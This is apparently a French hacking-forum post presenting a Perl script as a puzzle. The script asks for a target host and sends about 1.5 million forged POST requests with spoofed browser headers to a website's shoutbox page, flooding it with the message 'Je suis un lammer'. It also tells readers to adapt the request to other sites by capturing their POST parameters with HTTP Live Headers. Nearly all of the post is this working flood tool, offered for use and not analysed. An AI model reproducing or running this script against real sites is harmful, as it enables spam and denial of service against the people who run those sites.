Voilà un petit code en Perl... A vous de trouver à quoi il sert (Vu sur ce site)
A éditer avec HTTP Live Headers:
print $sock "POST /index.php?nav=com HTTP/1.1\n";
$postit = "msg=Hello&user_code=&nav=com";
#!/usr/bin/perl
use IO::Socket;
$x = 0;
print q(
iMhack > Bienvenue sur hackbbs.org
);
print q(Host |SANS-> http://www.| );
$host = <STDIN>;
chop ($host);
while($x !=1500000)
{
$postit = "msg=Je+suis+un+lammer&nav=com";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nPlus D'Espace Dans Tes Sockets !! Verifire Tes Sockets... : $!\n" unless $sock;
print $sock "POST /bin/communication/shootbox2.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, imag/jpeg, image/pjpeg, application/x-shockwave-flash, applications/vnd.ms-exel, applicationmsword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "-lammer_c_est_mal";
}
EDIT : http://bereski.free.fr/perl/fperl16.html à inclure